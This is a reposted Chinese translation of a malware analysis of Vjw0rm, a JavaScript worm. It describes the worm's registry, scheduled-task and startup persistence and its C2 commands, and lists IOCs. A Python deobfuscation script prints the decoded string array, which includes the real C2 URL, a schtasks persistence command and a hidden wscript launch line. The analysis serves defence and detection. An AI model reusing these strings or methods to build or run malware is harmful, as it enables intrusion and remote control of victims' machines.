Vjw0rm快速分析

admin 2023年11月9日09:26:00Vjw0rm快速分析已关闭评论17 views字数 4407阅读14分41秒阅读模式

原文标题:A Quick Analysis of Vjw0rm

原文地址:https://www.docguard.io/a-quick-analysis-of-vjw0rm/

翻译:梦幻的彼岸

jw0rm 是一种基于 javascript 的蠕虫病毒。根据我们的研究,Vjw0rm 在 2020-2021 年首次出现。

Vjw0rm 可以使用不同的命令执行操作。它与 C2 服务器通信,并根据接收到的命令在受感染计算机上执行一些操作。它还会向 C2 服务器发送计算机和用户名、AV 名称以及计算机的一些信息。

概述

Vjw0rm快速分析

持久性方法

  • 注册表键
  • 任务计划程序
  • 开机启动

命令

  • 文件操作
  • Create
  • Delete
  • R/W/X
  • 探索
  • Operating System
  • Computer Name
  • User Name
  • Anti Virus

网络活动

Vjw0rm 向 C2 服务器发送 POST 请求。它通过 UserAgent 向 C2 服务器发送计算机的基本信息。

POST [host]:[port]/Vre
User-Agent: [tag]\[logicaldiskserialnum]\[computername]\[username] \[osnamever]\[avdisplayname]\\[vbc_exist]\[prev_infected]\

钓鱼网站预览(第 1 部分)

Vjw0rm快速分析

执行 Vjw0rm(第 2 部分)

第一种持久性方法是注册表项:

Vjw0rm快速分析

第二种持久性方法是名为 Skype 的任务计划程序:

Vjw0rm快速分析

每 7 秒向 C2 服务器发出的 http 请求如下:

Vjw0rm快速分析

以下是 Vjw0rm 的网络流量:

Vjw0rm快速分析

Vjw0rm 的去混淆(第 3 部分)

Vjw0rm使用了复杂的反混淆机制,因此您可以参考下方的图像进行我们的分析。

Vjw0rm快速分析

当我们打开 Vjw0rm 恶意软件进行分析时,我们会看到以下经过混淆的 javascript 代码

Vjw0rm快速分析

如果我们稍微看一下代码,就会发现自定义函数被用于加密。现在,让我们按照这些命令接管解密过程。

首先,使用 javascript 代码中的 sPI 函数获取 Gcw 变量:

Vjw0rm快速分析

我们可以看到,变量 Gcw 实际上是字符串类型的 "构造函数"。继续分析,我们会发现 Xtc 其实又是一个解密函数。当用 sPI 函数再次解密变量 Xtc 时,会产生另一个解密函数,如下所示:

Vjw0rm快速分析

在解混淆的第二步,我们使用之前获得的两个解密函数进行两层解密。这一步解密完成后,我们会得到如下输出结果:

Vjw0rm快速分析

在这里,我们得到了第三个解密函数。由于函数的输出在经过某些数学运算后仍是 js 命令,因此使用 eval 函数将字符串值转换为实际的 js 命令。

当我们在第 2 阶段得到解密函数(函数 Ox\$)的返回值后,就进入了第 3 阶段。看起来这里的混淆过程有点复杂。因此,我们将这一阶段的代码分为四个部分。

在代码的开头,许多字符串中的 js 代码等待解密。实际上,这些值将在本部分的第 3 部分调用并解密。

Vjw0rm快速分析

第二部分包含恶意代码的关键字。我们可以将这一部分视为第三部分的起始代码。这一行是代码中唯一被调用的函数,它以执行解密的 \$af18392093 函数开始(显然,\$af18392093 函数本身也会执行解密,并通过 eval 变成另一个函数)。

Vjw0rm快速分析

第三部分是运行 Vjw0rm 的主要部分。我们将在下一篇文章中对这一部分进行详细的解密处理。简而言之,我们可以将其视为一种逐个参数运行的机制,以便以正确的格式获取第 4 部分获得的字符串。

Vjw0rm快速分析

最后,第 4 部分包含对变量 _\$_f3ce 进行第二次解密的加密函数。

Vjw0rm快速分析

使用这些部分(即第 4 部分)的函数解密后,_\$_f3ce 的值如下:

Vjw0rm快速分析

我们有 Vjw0rm 以简洁格式运行的关键字。但这个数组是无序的。我们无法直接连接并运行这些字符串。在这里,我们需要使用第 3 步第 3 部分中的代码。

如果我们再看一下第 3.3 步,就会发现变量 _\$_f3ce(实际上是数组)的索引总是被访问的。这意味着正确执行命令的实际代码就在这里。

第一步是替换 _\$_f3ce 索引,以查看完整版本。我们可以用下面的 Python 代码来实现:

```
import re

f3ce = ["WScript.Shell", "Scripting.FileSystemObject", "Shell.Application", "Microsoft.XMLHTTP", "HKCU", "HKLM", "HKCU\vjw0rm", "\Software\Microsoft\Windows\CurrentVersion\Run\", "HKLM\SOFTWARE\Classes\", "REG_SZ", "\defaulticon\", "winmgmts:", "win32_logicaldisk", "Win32_OperatingSystem", "AntiVirusProduct", "|V|", "\", "TD$$$", "", "ScriptFullName", "ScriptName", "RegRead", "split", ":\", "TRUE", "RegWrite", "FALSE", "Vre", "", "Cl", "Quit", "Sc", "temp", "CreateTextFile", "Write", "Close", "run", "Ex", "Rn", "OpenTextFile", "ReadAll", "replace", "wscript.exe //B \"", "\"", "Up", "|U|", "Un", "Temp", "1CYH0WDT4T", "%RgNe%", "%sfdr", "%n", "%f", "RF", "Sleep", "%", "ExpandEnvironmentStrings", "POST", "http://severdops.ddns.net:5050/", "open", "User-Agent:", "SetRequestHeader", "send", "responsetext", "Windir", "\Microsoft.NET\Framework\v2.0.50727\vbc.exe", "fileexists", "YES", "NO", "COMPUTERNAME", "USERNAME", "InstancesOf", "atEnd", "moveNext", "item", "Caption", "winmgmts:\\localhost\root\securitycenter", "DisplayName", "2", "volumeserialnumber", "AppData", "CopyFile", "Schtasks /create /sc minute /mo 30 /tn Skype /tr \"", "Path", "Self", "NameSpace", "DeviceID", "GetDrive", "IsReady", "DriveType", "FileExists", "attributes", "GetFile", "SubFolders", "GetFolder", " ", "name", ".lnk", "CreateShortCut", "WindowStyle", "TargetPath", "cmd.exe", "Arguments", "/c start ", "&start explorer ", "&exit", "HKLM\software\classes\folder\defaulticon\", "IconLocation", ",", "indexOf", "Save", "Files", ".", "lnk", "&start ", "length" ]
commands=""

with open("commands.txt","r") as file:
commands = file.read()

pattern = r'_\$_f3ce[\d+]'
matches = re.findall(pattern, commands)

for i in matches:
commands=commands.replace(i, '"'+eval(i[2:])+'"')

print(commands)
```

然后,让我们把 3.1 中的加密函数变得干净利落,如下所示:

Vjw0rm快速分析

解密:

Vjw0rm快速分析

最后,将这些值与 3.3 中的代码相匹配,我们就能看到 Vjw0rm 的实际指令机制。

Vjw0rm 会获取计算机名称、杀毒软件程序和用户名。它还会检查 C:\Windows\Microsoft.NET\Framework\v2.0.50727 下是否有 vbc.exe。如果存在,它将向 C2 服务器报告 "YES"。否则,它将报告 "NO"。

Vjw0rm快速分析

持久化过程就是在这里完成的。首先,它会创建一个名为 1CYH0WDT4T 的注册表项,然后安排一个名为 Skype 的任务,每 30 分钟运行一次 Vjw0rm。然后,使用 CopyFile 功能将恶意脚本复制到启动文件夹。

Vjw0rm快速分析

它会检查是否有系统已被入侵。根据检查结果,它会向服务器报告 “TRUE” 或“FALSE”。

Vjw0rm快速分析

此时,通过 http[:]//severdops.ddns.net:5050/Vre,开始与 C2 服务器通信:

Vjw0rm快速分析

根据服务器发送的指令,每7秒执行以下任务:

  • Cl: 该参数用于停止脚本的执行。
  • Sc: 将来自 C2 服务器的代码写入临时文件并执行。
  • Ex: 执行 C2 服务器传输的代码。
  • Rn: Vjw0rm 通过修改自身代码重新运行。
  • Up: 创建并执行包含 javascript 代码的临时文件。
  • Un: 允许删除恶意软件
  • Rf: 与 SC 参数相同。

使用 DOCGuard 分析 Vjw0rm

钓鱼文件:

Vjw0rm快速分析

https://app.docguard.io/639735428ba07b16525f2ac1bd7ec18c2767a68c8d6d1bf02c6b5a522971fff1/results/dashboard

Vjw0rm 脚本文件:

Vjw0rm快速分析

https://app.docguard.io/822b0e065dd9e5bb4441ab4e7641f73e34d240272b2c664141d07abdd0ed7f2d/6c1a52bf-f7f8-4181-bf54-43f5b9a51c49/0/results/dashboard

IOC:

| sha256 | 639735428ba07b16525f2ac1bd7ec18c2767a68c8d6d1bf02c6b5a522971fff1 |
| ----------- | ------------------------------------------------------------------ |
| sha256 | 822b0e065dd9e5bb4441ab4e7641f73e34d240272b2c664141d07abdd0ed7f2d |
| URL | http[:]//sumitaiouchi.com/Payment |
| URL | https[:]//www.yogaoutreachproject.com/Spcifications |
| C2 Server | http[:]//severdops.ddns.net:5050/Vre |

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月9日09:26:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Vjw0rm快速分析https://cn-sec.com/archives/2187809.html